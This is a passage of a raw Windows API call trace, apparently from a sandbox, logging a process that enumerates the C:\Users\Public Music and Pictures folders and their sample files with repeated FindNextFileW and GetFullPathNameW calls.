ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.562] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.562] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0080.562] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 0 [0080.563] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.563] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0080.563] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.563] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.563] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.563] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.563] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.563] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.563] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.563] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.565] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0080.565] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\", lpFilePart=0x0) returned 0x16 [0080.565] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.565] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.565] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.566] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0080.566] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.566] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.566] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.566] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.566] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.566] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.566] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.566] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.566] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.566] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.566] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.566] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.567] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.567] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.567] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.567] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.567] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.567] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.567] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.567] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.567] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.567] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.567] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0080.567] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\", lpFilePart=0x0) returned 0x23 [0080.567] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.580] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.580] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.580] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1 [0080.580] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="MAIDWI~1.MP3")) returned 1 [0080.580] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 1 [0080.581] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 0 [0080.581] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.582] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.582] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.582] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0080.583] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.583] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.583] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.583] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.583] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.583] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.583] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.583] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.583] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.583] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.583] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0080.584] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: 